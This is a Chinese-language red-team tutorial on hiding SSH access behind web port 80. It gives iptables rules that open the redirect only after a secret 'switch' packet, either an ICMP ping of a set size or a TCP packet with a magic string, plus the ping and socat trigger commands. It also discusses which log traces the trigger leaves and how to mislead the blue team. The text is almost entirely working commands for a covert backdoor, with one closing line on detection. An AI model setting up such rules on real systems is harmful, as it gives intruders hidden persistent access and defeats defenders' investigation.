(带开关)变化源地址进行端口复用

提供一种更加隐蔽的方式,防止防守方通过ssh日志的IP对端口进行试验从而发现端口复用——为我们的端口复用增加一个开关

使用ICMP作为开关

在nat表中添加一条新链实现开关功能

iptables -t nat -N SWITCH

实现端口转发功能

iptables -t nat -A SWITCH -p tcp -j REDIRECT --to-port 22(这里不限制源IP是为了方便协同渗透,只要触发开关即可进入TeamWork

创建开启开关的条件(对ALLOWED_LIST名单进行增删实现)

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 2022 -m recent --set --name ALLOWED_LIST --rsource -j ACCEPT

创建关闭开关的条件(对ALLOWED_LIST名单进行增删实现)

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 2023 -m recent --name ALLOWED_LIST --remove -j ACCEPT

读取ALLOWED_LIST进行准入

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name ALLOWED_LIST --rsource -j SWITCH

实战效果

发送长度为1994的ICMP包(加上长度为28的包头,长度为2022,满足条件,IP被加入ALLOWED_LIST中)

ping -c 1 -s 1994 172.16.173.153

开启开关后可进行连接

使用完毕后关闭开关,无法连接

ping -c 1 -s 1995 172.16.173.128

ICMP开关痕迹研究

iptables及常规日志位略

Web日志

由于icmp为传输层,故开启开关的动作不产生日志

使用TCP作为开关

禁ping场景下,可以使用TCP作为开关

在nat表中添加一条新链实现开关功能

iptables -t nat -N SWITCH_TCP

实现端口转发功能

iptables -t nat -A SWITCH_TCP -p tcp -j REDIRECT --to-port 22(这里不限制源IP是为了方便协同渗透,只要触发开关即可进入TeamWork

创建开启开关的条件(对WHITE_LIST名单进行增删实现)

iptables -A INPUT -p tcp -m string --string 'Umattacker' --algo bm -m recent --set --name WHITE_LIST --rsource -j ACCEPT

创建关闭开关的条件(对WHITE_LIST名单进行增删实现)

iptables -A INPUT -p tcp -m string --string 'Umgoodman' --algo bm -m recent --name WHITE_LIST --remove -j ACCEPT

读取WHITE_LIST进行准入

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name WHITE_LIST --rsource -j SWITCH_TCP

实战效果

发送包含Umattacker的TCP数据包

echo Umattacker | socat - tcp:172.16.173.128:80

开启开关后可进行连接

使用完毕后关闭开关,无法连接

echo Umgoodman | socat - tcp:172.16.173.128:80

TCP开关痕迹研究

iptables及常规日志位略

Web日志

从Web日志中可以看到以下行为

前两条记录为请求开启开关

后两条记录为请求关闭开关

TCP开关的高匿性

经过多次试验,发现如果不触发TCP的关闭开关,则不会在Web日志中留下明显痕迹,通过发送特殊字符开启开关后,日志中只会留下如下记录

在大量日志下,若蓝军不进行逐一检查,基本无法发现该条记录,不检查iptables的情况下只能对着ssh日志中的登录日志陷入死胡同,进入错误的方向。

蓝军对应检测手段

直接检查iptables内容较为高效。